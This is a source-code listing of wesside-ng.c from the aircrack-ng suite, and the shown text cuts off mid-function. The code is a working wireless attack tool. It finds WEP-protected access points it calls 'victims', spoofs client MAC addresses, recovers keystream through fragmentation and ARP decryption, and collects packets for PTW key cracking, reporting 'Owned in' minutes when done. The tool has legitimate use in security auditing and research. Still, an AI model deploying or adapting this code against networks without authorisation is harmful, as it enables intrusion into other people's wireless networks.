Logo Search packages:      
Sourcecode: aircrack-ng version File versions  Download package

wesside-ng.c

/*
 *  Copyright (C) 2005, 2006, 2007, 2008, 2009 Andrea Bittau <a.bittau@cs.ucl.ac.uk>
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 *
 *
 *  In addition, as a special exception, the copyright holders give
 *  permission to link the code of portions of this program with the
 *  OpenSSL library under certain conditions as described in each
 *  individual source file, and distribute linked combinations
 *  including the two.
 *  You must obey the GNU General Public License in all respects
 *  for all of the code used other than OpenSSL. *  If you modify
 *  file(s) with this exception, you may extend this exception to your
 *  version of the file(s), but you are not obligated to do so. *  If you
 *  do not wish to do so, delete this exception statement from your
 *  version. *  If you delete this exception statement from all source
 *  files in the program, then also delete it here.
 */


#include <sys/types.h>
#include <sys/socket.h>
#include <sys/termios.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/uio.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <assert.h>
#include <zlib.h>
#include <signal.h>
#include <stdarg.h>
#include <err.h>

#include "osdep/osdep.h"
#include "pcap.h"
#include "aircrack-ptw-lib.h"
#include "ieee80211.h"
#include "ethernet.h"
#include "if_arp.h"
#include "if_llc.h"
#include "crypto.h"
#include "version.h"
#include "osdep/byteorder.h"

#define FIND_VICTIM           0
#define FOUND_VICTIM          1
#define SENDING_AUTH          2
#define GOT_AUTH        3
#define SPOOF_MAC       4
#define SENDING_ASSOC         5
#define GOT_ASSOC       6

#define LINKTYPE_IEEE802_11     105
#define TCPDUMP_MAGIC           0xA1B2C3D4

#define S_LLC_SNAP      "\xAA\xAA\x03\x00\x00\x00"
#define S_LLC_SNAP_ARP  (S_LLC_SNAP "\x08\x06")
#define S_LLC_SNAP_IP   (S_LLC_SNAP "\x08\x00")
#define PADDED_ARPLEN 54

#define MCAST_PREF "\x01\x00\x5e\x00\x00"

#define WEP_FILE "wep.cap"
#define KEY_FILE "key.log"
#define PRGA_FILE "prga.log"
#define KEYLIMIT 1000000

extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc);

struct frag_state {
      struct ieee80211_frame  fs_wh;
      unsigned char           *fs_data;
      int               fs_len;
      unsigned char           *fs_ptr;
      int               fs_waiting_relay;
      struct timeval          fs_last;
};

struct prga_info {
      unsigned char     *pi_prga;
      int         pi_len;
      unsigned char     pi_iv[3];
};

struct wstate {
      int               ws_state;
      struct timeval          ws_arpsend;
      char              *ws_netip;
      int               ws_netip_arg;
      int               ws_max_chan;
      unsigned char           *ws_rtrmac;
      unsigned char           ws_mymac[6];
      int               ws_have_mac;
      char              ws_myip[16];
      unsigned char           *ws_victim_mac;
      PTW_attackstate         *ws_ptw;
      unsigned int            ws_ack_timeout;
      int               ws_min_prga;
      int               ws_thresh_incr;
      int               ws_crack_dur;
      int               ws_wep_thresh;
      int               ws_crack_pid;
      struct timeval          ws_crack_start;
      struct timeval          ws_real_start;
      struct timeval          ws_lasthop;
      struct timeval          ws_last_wcount;
      struct wif        *ws_wi;
      unsigned int            ws_last_wep_count;
      int               ws_ignore_ack;

      /* tx_state */
      int               ws_waiting_ack;
      struct timeval          ws_tsent;
      int               ws_retries;
      unsigned int            ws_psent;

      /* chan_info */
      int               ws_chan;

      /* victim_info */
      char              *ws_ssid;
      int               ws_apchan;
      unsigned char           ws_bss[6];

      struct frag_state ws_fs;
      struct prga_info  ws_pi;

      /* decrypt_state */
      unsigned char           *ws_cipher;
      int               ws_clen;
      struct prga_info  ws_dpi;
      struct frag_state ws_dfs;

      /* wep_log */
      unsigned int            ws_packets;
      unsigned int            ws_rate;
      int               ws_fd;
      unsigned char           ws_iv[3];
} _wstate;

#define KEYHSBYTES PTW_KEYHSBYTES

int PTW_DEFAULTWEIGHT[1] = { 256 };
int PTW_DEFAULTBF[PTW_KEYHSBYTES] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };



struct timeval t_begin;              /* time at start of attack      */
struct timeval t_stats;              /* time since last update       */

float chrono( struct timeval *start, int reset )
{
    float delta;
    struct timeval current;

    gettimeofday( &current, NULL );

    delta = ( current.tv_sec  - start->tv_sec  ) + (float)
            ( current.tv_usec - start->tv_usec ) / 1000000;

    if( reset )
        gettimeofday( start, NULL );

    return( delta );
}

/* display the current votes */

void show_wep_stats( int B, int force, PTW_tableentry table[PTW_KEYHSBYTES][PTW_n], int choices[KEYHSBYTES], int depth[KEYHSBYTES], int prod, int keylimit )
{
    float delta;
    struct winsize ws;
    int i, et_h, et_m, et_s;
    static int is_cleared = 0;

    return;

    if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 )
    {
        ws.ws_row = 25;
        ws.ws_col = 80;
    }

    if( (chrono( &t_stats, 0 ) < 1.51) && force == 0 )
        return;

    chrono( &t_stats, 1 );

    delta = chrono( &t_begin, 0 );

    et_h =   delta / 3600;
    et_m = ( delta - et_h * 3600 ) / 60;
    et_s =   delta - et_h * 3600 - et_m * 60;

    if( is_cleared == 0 )
    {
        is_cleared++;

        printf( "\33[2J" );
    }

    if(table)
        printf( "\33[5;%dH[%02d:%02d:%02d] Tested %d/%d keys\33[K",
                (ws.ws_col - 44) / 2, et_h, et_m, et_s, prod, keylimit );

    printf( "\33[7;4HKB    depth   byte(vote)\n" );

    for( i = 0; i <= B; i++ )
    {
        int j, k = ( ws.ws_col - 20 ) / 9;

        if(table)
            printf( "   %2d  %3d/%3d   ",
                    i, depth[i], choices[i] );

        if(table)
        {
            for( j = depth[i]; j < k + depth[i]; j++ )
            {
                if( j >= 256 ) break;

                printf( "%02X(%4d) ",  table[i][j].b,
                        table[i][j].votes );
            }
        }
        printf( "\n" );
    }

//    if( B < opt.keylen - 1 )
//        printf( "\33[J" );

    printf( "\n" );
}

static struct wstate *get_ws(void)
{
      return &_wstate;
}

static void cleanup(int x);
static void sigchild(int x);

static void time_print(char* fmt, ...)
{
        va_list ap;
        char lame[1024];
      time_t tt;
      struct tm *t;

        va_start(ap, fmt);
        vsnprintf(lame, sizeof(lame), fmt, ap);
        va_end(ap);

      tt = time(NULL);

      if (tt == (time_t)-1) {
            perror("time()");
            exit(1);
      }

      t = localtime(&tt);
      if (!t) {
            perror("localtime()");
            exit(1);
      }

      printf("[%.2d:%.2d:%.2d] %s",
             t->tm_hour, t->tm_min, t->tm_sec, lame);
}

static void check_key(struct wstate *ws)
{
      char buf[1024];
      int fd;
      int rd;
      struct timeval now;

      fd = open(KEY_FILE, O_RDONLY);

      if (fd == -1) {
            return;
      }

      rd = read(fd, buf, sizeof(buf) -1);
      if (rd == -1) {
            perror("read()");
            exit(1);
      }

      buf[rd] = 0;

      close(fd);

      printf ("\n\n");
      time_print("KEY=(%s)\n", buf);

      if (gettimeofday(&now, NULL) == -1) {
            perror("gettimeofday()");
            exit(1);
      }

      printf ("Owned in %.02f minutes\n",
            ((double) now.tv_sec - ws->ws_real_start.tv_sec)/60.0);

      cleanup(0);
      exit(0);
}

static void kill_crack(struct wstate *ws)
{
      if (ws->ws_crack_pid == 0)
            return;

      printf("\n");
      time_print("Stopping crack PID=%d\n", ws->ws_crack_pid);

      // XXX doesn't return -1 for some reason! [maybe on my box... so it
      // might be buggy on other boxes...]
      if (kill(ws->ws_crack_pid, SIGINT) == -1) {
#if 0
            perror("kill()");
            exit(1);
#endif
      }

      ws->ws_crack_pid = 0;

      check_key(ws);
}

static void cleanup(int x)
{
      struct wstate *ws = get_ws();

      printf("\n");
      time_print("Dying...\n");

      if (x) {} /* XXX unused */

      if (ws->ws_fd)
            close(ws->ws_fd);

      kill_crack(ws);

      if (ws->ws_wi)
            wi_close(ws->ws_wi);

      if(ws->ws_ssid)
            free(ws->ws_ssid);

      exit(0);
}

static void set_chan(struct wstate *ws, int c)
{
      if (c == ws->ws_chan)
            return;

      if (wi_set_channel(ws->ws_wi, c))
            err(1, "wi_set_channel()");

      ws->ws_chan = c;
}

static void hexdump(unsigned char *ptr, int len)
{
        while(len > 0) {
                printf("%.2X ", *ptr);
                ptr++; len--;
        }
        printf("\n");
}

static char* mac2str(unsigned char* mac)
{
      static char ret[6*3];

      snprintf(ret, (6*3), "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
            mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);

      return ret;
}

static void inject(struct wif *wi, void *buf, int len)
{
      int rc;

      rc = wi_write(wi, buf, len, NULL);

      if(rc == -1) {
            perror("writev()");
            exit(1);
      }
      if (rc != len) {
            time_print("ERROR: Packet length changed while transmitting (%d instead of %d).\n", rc, len);
            exit(1);
      }
}

static void send_frame(struct wstate *ws, unsigned char* buf, int len)
{
      static unsigned char* lame = 0;
      static int lamelen = 0;
      static int lastlen = 0;

      // retransmit!
      if (len == -1) {
            ws->ws_retries++;

            if (ws->ws_ignore_ack && ws->ws_retries >= ws->ws_ignore_ack) {
                  ws->ws_waiting_ack = 0;
                  return;
            }

            if (ws->ws_retries > 10) {
                  time_print("ERROR Max retransmists for (%d bytes):\n",
                         lastlen);
                  hexdump(&lame[0], lastlen);
#if 0
                  txstate.waiting_ack = 0;
                  return;
#endif
            }
            len = lastlen;
//          printf("Warning doing a retransmit...\n");
      }
      // normal tx
      else {
            assert(!ws->ws_waiting_ack);

            if (len > lamelen) {
                  if (lame)
                        free(lame);

                  lame = (unsigned char*) malloc(len);
                  if(!lame) {
                        perror("malloc()");
                        exit(1);
                  }

                  lamelen = len;
            }

            memcpy(lame, buf, len);
            ws->ws_retries = 0;
            lastlen = len;
      }

      inject(ws->ws_wi, lame, len);

      if (ws->ws_ignore_ack != 1)
            ws->ws_waiting_ack = 1;

      ws->ws_psent++;
      if (gettimeofday(&ws->ws_tsent, NULL) == -1) {
            perror("gettimeofday()");
            exit(1);
      }

#if 0
      printf("Wrote frame at %lu.%lu\n",
             txstate.tsent.tv_sec, txstate.tsent.tv_usec);
#endif
}

/* Expects host-endian arguments, but returns little-endian seq. */
static unsigned short fnseq(unsigned short fn, unsigned short seq)
{
        unsigned short r = 0;

        if(fn > 15) {
                time_print("too many fragments (%d)\n", fn);
                exit(1);
        }

        r = fn;

        r |=  ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);

        return htole16(r);
}

static void fill_basic(struct wstate *ws, struct ieee80211_frame* wh)
{
      unsigned short *sp;

      memcpy(wh->i_addr1, ws->ws_bss, 6);
      memcpy(wh->i_addr2, ws->ws_mymac, 6);
      memcpy(wh->i_addr3, ws->ws_bss, 6);

      sp = (unsigned short*) wh->i_seq;
      *sp = fnseq(0, ws->ws_psent);

      sp = (unsigned short*) wh->i_dur;
      *sp = htole16(32767);
}

static void send_assoc(struct wstate *ws)
{
      unsigned char buf[128];
      struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
      unsigned char* body;
      int ssidlen;

      memset(buf, 0, sizeof(buf));
      fill_basic(ws, wh);
      wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;

      body = (unsigned char*) wh + sizeof(*wh);
      *body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
      // cap + interval
      body += 2 + 2;

      // ssid
      *body++ = 0;
      ssidlen = strlen(ws->ws_ssid);
      *body++ = ssidlen;
      memcpy(body, ws->ws_ssid, ssidlen);
      body += ssidlen;

      // rates
        *body++ = IEEE80211_ELEMID_RATES;
        *body++ = 8;
        *body++ = 2 | 0x80;
        *body++ = 4 | 0x80;
        *body++ = 11 | 0x80;
        *body++ = 22 | 0x80;
      *body++ = 12 | 0x80;
      *body++ = 24 | 0x80;
      *body++ = 48 | 0x80;
      *body++ = 72;

        /* x-rates */
        *body++ = IEEE80211_ELEMID_XRATES;
        *body++ = 4;
        *body++ = 48;
        *body++ = 72;
        *body++ = 96;
        *body++ = 108;

      send_frame(ws, buf, (unsigned long)body - (unsigned long)buf);
}

static void wepify(struct wstate *ws, unsigned char* body, int dlen)
{
      uLong crc;
      unsigned int *pcrc;
      int i;

      assert(dlen + 4 <= ws->ws_pi.pi_len);

      // iv
      memcpy(body, ws->ws_pi.pi_iv, 3);
      body +=3;
      *body++ = 0;

      // crc
      crc = crc32(0L, Z_NULL, 0);
      crc = crc32(crc, body, dlen);
      pcrc = (unsigned int*) (body+dlen);
      *pcrc = htole32(crc);

      for (i = 0; i < dlen +4; i++)
            *body++ ^= ws->ws_pi.pi_prga[i];
}

static void send_auth(struct wstate *ws)
{
      unsigned char buf[128];
      struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
      unsigned short* n;

      memset(buf, 0, sizeof(buf));
      fill_basic(ws, wh);
      wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;

      n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
      n++;
      *n = htole16(1);

      send_frame(ws, buf, sizeof(*wh) + 2 + 2 + 2);
}

static int get_victim_ssid(struct wstate *ws, struct ieee80211_frame* wh,
                     int len)
{
      unsigned char* ptr;
      int x;
      int gots = 0, gotc = 0;

      if (len <= (int) sizeof(*wh)) {
            time_print("Warning: short packet in get_victim_ssid()\n");
            return 0;
      }

      ptr = (unsigned char*)wh + sizeof(*wh);
      len -= sizeof(*wh);

      // only wep baby
      if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
            return 0;
      }

      // we want a specific victim
      if (ws->ws_victim_mac) {
            if (memcmp(wh->i_addr3, ws->ws_victim_mac, 6) != 0)
                  return 0;
      }

      // beacon header
      x = 8 + 2 + 2;
      if (len <= x) {
            time_print("Warning short.\n");
            return 0;
      }

      ptr += x;
      len -= x;

      // SSID
      while(len > 2) {
            int eid, elen;

            eid = *ptr;
            ptr++;
            elen = *ptr;
            ptr++;
            len -= 2;

            if (len < elen) {
                  time_print("Warning short....\n");
                  return 0;
            }

            // ssid
            if (eid == 0) {
                  if (ws->ws_ssid)
                        free(ws->ws_ssid);

                  ws->ws_ssid = (char*) malloc(elen + 1);
                  if (!ws->ws_ssid) {
                        perror("malloc()");
                        exit(1);
                  }

                  memcpy(ws->ws_ssid, ptr, elen);
                  ws->ws_ssid[elen] = 0;
                  gots = 1;

            }
            // chan
            else if(eid == 3) {
                  if( elen != 1) {
                        time_print("Warning len of chan not 1\n");
                        return 0;
                  }

                  ws->ws_apchan = *ptr;
                  gotc = 1;
            }

            ptr += elen;
            len -= elen;
      }

      if (gots && gotc) {
            memcpy(ws->ws_bss, wh->i_addr3, 6);
            set_chan(ws, ws->ws_apchan);
            ws->ws_state = FOUND_VICTIM;
            time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
                   ws->ws_ssid, mac2str(ws->ws_bss), ws->ws_apchan);
            return 1;
      }
      return 0;
}

static void send_ack(struct wstate *ws)
{
      if (ws) {} /* XXX unused */
      /* firmware acks */
}

static void do_llc(unsigned char* buf, unsigned short type)
{
      struct llc* h = (struct llc*) buf;

      memset(h, 0, sizeof(*h));
      h->llc_dsap = LLC_SNAP_LSAP;
      h->llc_ssap = LLC_SNAP_LSAP;
      h->llc_un.type_snap.control = 3;
      h->llc_un.type_snap.ether_type = htons(type);
}

static void set_prga(struct wstate *ws, unsigned char* iv,
                 unsigned char* cipher, unsigned char* clear, int len)
{
      int i;
      int fd;

      if (ws->ws_pi.pi_len != 0)
            free(ws->ws_pi.pi_prga);

      ws->ws_pi.pi_prga = (unsigned char*) malloc(len);
      if (!ws->ws_pi.pi_prga) {
            perror("malloc()");
            exit(1);
      }

      ws->ws_pi.pi_len = len;
      memcpy(ws->ws_pi.pi_iv, iv, 3);

      for (i = 0; i < len; i++) {
            ws->ws_pi.pi_prga[i] =  ( cipher ? (clear[i] ^ cipher[i]) :
                                      clear[i]);
      }

      time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
             ws->ws_pi.pi_len, ws->ws_pi.pi_iv[0], ws->ws_pi.pi_iv[1],
             ws->ws_pi.pi_iv[2]);
      hexdump(ws->ws_pi.pi_prga, ws->ws_pi.pi_len);

      if (!cipher)
            return;

      fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
              S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);

      if (fd == -1) {
            perror("open()");
            exit(1);
      }

      i = write(fd, ws->ws_pi.pi_iv, 3);
      if (i == -1) {
            perror("write()");
            exit(1);
      }
      if (i != 3) {
            printf("Wrote %d out of %d\n", i, 3);
            exit(1);
      }

      i = write(fd, ws->ws_pi.pi_prga, ws->ws_pi.pi_len);
      if (i == -1) {
            perror("write()");
            exit(1);
      }
      if (i != ws->ws_pi.pi_len) {
            printf("Wrote %d out of %d\n", i, ws->ws_pi.pi_len);
            exit(1);
      }

      close(fd);
}

static void proc_ctl(struct wstate *ws, int stype)
{
      if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
            ws->ws_waiting_ack = 0;
            return;

      } else if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
            return;

      } else if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
            return;
      }

      time_print ("got CTL=%x\n", stype);
}

static void proc_mgt(struct wstate *ws, int stype, unsigned char *body)
{
      unsigned short * rc;
      unsigned short * sc;
      unsigned int aid;

      if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
            rc = (unsigned short*) body;

            printf("\n");
            time_print("Got deauth=%u\n", le16toh(*rc));
            ws->ws_state = FOUND_VICTIM;
            return;

      } else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
            sc = (unsigned short*) body;

            if (ws->ws_state != SENDING_AUTH) /* We didn't ask for it. */
                  return;

            if (le16toh(*sc) != 0) {
                  time_print("Warning got auth algo=%x\n", le16toh(*sc));
                  exit(1);
                  return;
            }
            sc++;

            if (le16toh(*sc) != 2) {
                  time_print("Warning got auth seq=%x\n", le16toh(*sc));
                  return;
            }

            sc++;

            if (le16toh(*sc) == 1) {
                  time_print("Auth rejected.  Spoofin mac.\n");
                  ws->ws_state = SPOOF_MAC;
                  return;

            } else if (le16toh(*sc) == 0) {
                  time_print("Authenticated\n");
                  ws->ws_state = GOT_AUTH;
                  return;

            } else {
                  time_print("Got auth %x\n", *sc);
                  exit(1);
            }
      }
      else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) {
            sc = (unsigned short*) body;
            sc++; // cap

            if (ws->ws_state != SENDING_ASSOC) /* We didn't ask for it. */
                  return;

            if (le16toh(*sc) == 0) {
                  sc++;
                  aid = le16toh(*sc) & 0x3FFF;
                  time_print("Associated (ID=%x)\n", aid);
                  ws->ws_state = GOT_ASSOC;
                  return;

            } else if (le16toh(*sc) == 12 || le16toh(*sc) == 1) {
                  time_print("Assoc rejected..."
                           " trying to spoof mac.\n");
                  ws->ws_state = SPOOF_MAC;
                  return;
            } else {
                  time_print("got assoc %d\n", le16toh(*sc));
                  exit(1);
            }

      } else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
            return;
      }

      time_print("\nGOT MAN=%x\n", stype);
      exit(1);
}

static void proc_data(struct wstate *ws, struct ieee80211_frame *wh, int len)
{
      int dlen;
      dlen = len - sizeof(*wh) - 4 -4;

      if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
            time_print("WARNING: Got NON wep packet from %s dlen %d\n",
                     mac2str(wh->i_addr2), dlen);
            return;
      }

      assert (wh->i_fc[1] & IEEE80211_FC1_WEP);

      if ((dlen == 36 || dlen == PADDED_ARPLEN)
          && ws->ws_rtrmac == (unsigned char*) 1) {
            ws->ws_rtrmac = (unsigned char *) malloc(6);
            if (!ws->ws_rtrmac) {
                  perror("malloc()");
                  exit(1);
            }

            assert( ws->ws_rtrmac > (unsigned char*) 1);

            memcpy (ws->ws_rtrmac, wh->i_addr3, 6);
            time_print("Got arp reply from (%s)\n",
                     mac2str(ws->ws_rtrmac));

            return;
      }
}

static void stuff_for_us(struct wstate *ws, struct ieee80211_frame* wh, int len)
{
      int type,stype;
      unsigned char *body = (unsigned char*) (wh+1);

      type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
      stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;

      // CTL
      if (type == IEEE80211_FC0_TYPE_CTL) {
            proc_ctl(ws, stype);
            return;
      }

      // MGM
      if (type == IEEE80211_FC0_TYPE_MGT) {
            proc_mgt(ws, stype, body);
            return;
      }

      /* Data */
      if (type == IEEE80211_FC0_TYPE_DATA &&
          stype == IEEE80211_FC0_SUBTYPE_DATA) {
            proc_data(ws, wh, len);
            return;
      }

#if 0
      printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
            type, stype, mac2str(wh->i_addr2), len);
#endif
}

static void decrypt_arpreq(struct wstate *ws, struct ieee80211_frame* wh,
                     int rd)
{
      unsigned char* body;
      int bodylen;
      unsigned char clear[36];
      unsigned char* ptr;
      struct arphdr* h;
      int i;

      body = (unsigned char*) wh+sizeof(*wh);
      ptr = clear;

      // calculate clear-text
      memcpy(ptr, S_LLC_SNAP_ARP, sizeof(S_LLC_SNAP_ARP)-1);
      ptr += sizeof(S_LLC_SNAP_ARP) -1;

      h = (struct arphdr*)ptr;
      h->ar_hrd = htons(ARPHRD_ETHER);
        h->ar_pro = htons(ETHERTYPE_IP);
        h->ar_hln = 6;
        h->ar_pln = 4;
        h->ar_op = htons(ARPOP_REQUEST);
      ptr += sizeof(*h);

      memcpy(ptr, wh->i_addr3, 6);

      bodylen = rd - sizeof(*wh) - 4 - 4;
      ws->ws_clen = bodylen;
      ws->ws_cipher = (unsigned char*) malloc(ws->ws_clen);
      if (!ws->ws_cipher) {
            perror("malloc()");
            exit(1);
      }
      ws->ws_dpi.pi_prga = (unsigned char*) malloc(ws->ws_clen);
      if (!ws->ws_dpi.pi_prga) {
            perror("malloc()");
            exit(1);
      }


      memcpy(ws->ws_cipher, &body[4], ws->ws_clen);
      memcpy(ws->ws_dpi.pi_iv, body, 3);

      memset(ws->ws_dpi.pi_prga, 0, ws->ws_clen);
      for(i = 0; i < (8+8+6); i++) {
            ws->ws_dpi.pi_prga[i] = ws->ws_cipher[i] ^
                                    clear[i];
      }

      ws->ws_dpi.pi_len = i;
      time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
}

static void log_wep(struct wstate *ws, struct ieee80211_frame* wh, int len)
{
      int rd;
      struct pcap_pkthdr pkh;
      struct timeval tv;
      unsigned char *body = (unsigned char*) (wh+1);

      memset(&pkh, 0, sizeof(pkh));
      pkh.caplen = pkh.len = len;
      if (gettimeofday(&tv, NULL) == -1)
            err(1, "gettimeofday()");
      pkh.tv_sec = tv.tv_sec;
      pkh.tv_usec = tv.tv_usec;
      if (write(ws->ws_fd, &pkh, sizeof(pkh)) != sizeof(pkh))
            err(1, "write()");

      rd = write(ws->ws_fd, wh, len);

      if (rd == -1) {
            perror("write()");
            exit(1);
      }
      if (rd != len) {
            time_print("short write %d out of %d\n", rd, len);
            exit(1);
      }

#if 0
      if (fsync(ws->ws_fd) == -1) {
            perror("fsync()");
            exit(1);
      }
#endif

      memcpy(ws->ws_iv, body, 3);
      ws->ws_packets++;
}

static void add_keystream(struct wstate *ws, struct ieee80211_frame* wh, int rd)
{
      unsigned char clear[1024];
      int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
      int clearsize;
      unsigned char *body = (unsigned char*) (wh+1);
      int i, weight[16], k, j;

      k = known_clear(clear, &clearsize, weight, (void*) wh, dlen);
      if (clearsize < 16)
            return;

        for (j=0; j<k; j++)
        {
            for (i = 0; i < clearsize; i++)
                    clear[i+(32*j)] ^= body[4+i];
        }
        PTW_addsession(ws->ws_ptw, body, clear, weight, k);
}

static void got_ip(struct wstate *ws)
{
      unsigned char ip[4];
      int i;
      struct in_addr *in = (struct in_addr*) ip;
      char *ptr;

      for (i = 0; i < 4; i++)
            ip[i] = ws->ws_cipher[8+8+6+i] ^ ws->ws_dpi.pi_prga[8+8+6+i];

      assert(!ws->ws_netip);
      ws->ws_netip = malloc(16);
      if(!ws->ws_netip) {
            perror("malloc()");
            exit(1);
      }

      memset(ws->ws_netip, 0, 16);
      strncpy(ws->ws_netip, inet_ntoa(*in), 16-1);

      time_print("Got IP=(%s)\n", ws->ws_netip);
      strncpy(ws->ws_myip, ws->ws_netip, sizeof(ws->ws_myip)-1);

      ptr = strchr(ws->ws_myip, '.');
      assert(ptr);
      ptr = strchr(ptr+1, '.');
      assert(ptr);
      ptr = strchr(ptr+1, '.');
      assert(ptr);
      strncpy(ptr+1,"123", 3);

      time_print("My IP=(%s)\n", ws->ws_myip);

      /* clear decrypt state */
      free(ws->ws_dpi.pi_prga);
      free(ws->ws_cipher);
      ws->ws_cipher = 0;
      ws->ws_clen = 0;
      memset(&ws->ws_dpi, 0, sizeof(ws->ws_dpi));
      memset(&ws->ws_dfs, 0, sizeof(ws->ws_dfs));
}

static void check_relay(struct wstate *ws, struct ieee80211_frame *wh,
                  unsigned char *body, int dlen)
{
      // looks like it...
      if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
          (memcmp(wh->i_addr3, ws->ws_mymac, 6) == 0) &&
          (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
          dlen == ws->ws_fs.fs_len) {

//          printf("I fink AP relayed it...\n");
            set_prga(ws, body, &body[4], ws->ws_fs.fs_data, dlen);
            free(ws->ws_fs.fs_data);
            ws->ws_fs.fs_data = 0;
            ws->ws_fs.fs_waiting_relay = 0;
      }

      // see if we get the multicast stuff of when decrypting
      if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
          (memcmp(wh->i_addr3, ws->ws_mymac, 6) == 0) &&
          (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
          dlen == 36) {

            unsigned char pr = wh->i_addr1[5];

            printf("\n");
            time_print("Got clear-text byte: %d\n",
            ws->ws_cipher[ws->ws_dpi.pi_len-1] ^ pr);

            ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1] = pr;
            ws->ws_dpi.pi_len++;
            ws->ws_dfs.fs_waiting_relay = 1;

            // ok we got the ip...
            if (ws->ws_dpi.pi_len == 26+1) {
                  got_ip(ws);
            }
      }
}

static void got_wep(struct wstate *ws, struct ieee80211_frame* wh, int rd)
{
      int bodylen;
      int dlen;
      unsigned char clear[1024];
      int clearsize;
      unsigned char *body;

      bodylen = rd - sizeof(struct ieee80211_frame);

      dlen = bodylen - 4 - 4;
      body = (unsigned char*) wh + sizeof(*wh);


      // log it if its stuff not from us...
      if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
           ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
              memcmp(wh->i_addr2, ws->ws_mymac, 6) != 0) ) {

            if (body[3] != 0) {
                  time_print("Key index=%x!!\n", body[3]);
                  exit(1);
            }
            log_wep(ws, wh, rd);
            add_keystream(ws, wh, rd);
      }

      // look for arp-request packets... so we can decrypt em
      if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
          (memcmp(wh->i_addr3, ws->ws_mymac, 6) != 0) &&
          (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
           (dlen == 36 || dlen == PADDED_ARPLEN) &&
          !ws->ws_cipher &&
          !ws->ws_netip) {
            decrypt_arpreq(ws, wh, rd);
      }

      // we have prga... check if its our stuff being relayed...
      if (ws->ws_pi.pi_len != 0) {
            check_relay(ws, wh, body, dlen);
            return;
      }

      known_clear(clear, &clearsize, NULL, (void*) wh, dlen);
      time_print("Datalen %d Known clear %d\n", dlen, clearsize);

      set_prga(ws, body, &body[4], clear, clearsize);
}

static void stuff_for_net(struct wstate *ws, struct ieee80211_frame* wh, int rd)
{
      int type, stype;

      type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
      stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;

      if (type == IEEE80211_FC0_TYPE_DATA &&
          stype == IEEE80211_FC0_SUBTYPE_DATA) {
            int dlen = rd - sizeof(struct ieee80211_frame);

            if (ws->ws_state == SPOOF_MAC) {
                  unsigned char mac[6];
                  if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
                        memcpy(mac, wh->i_addr3, 6);
                  } else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
                        memcpy(mac, wh->i_addr1, 6);
                  } else assert(0);

                  if (mac[0] == 0xff || mac[0] == 0x1)
                        return;

                  memcpy(ws->ws_mymac, mac, 6);
                  time_print("Trying to use MAC=(%s)\n",
                           mac2str(ws->ws_mymac));
                  ws->ws_state = FOUND_VICTIM;
                  return;
            }

            // wep data!
            if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
                  got_wep(ws, wh, rd);
            }
      }
}

static void anal(struct wstate *ws, unsigned char* buf, int rd) // yze
{
      struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
      int type,stype;
      static int lastseq = -1;
      int seq;
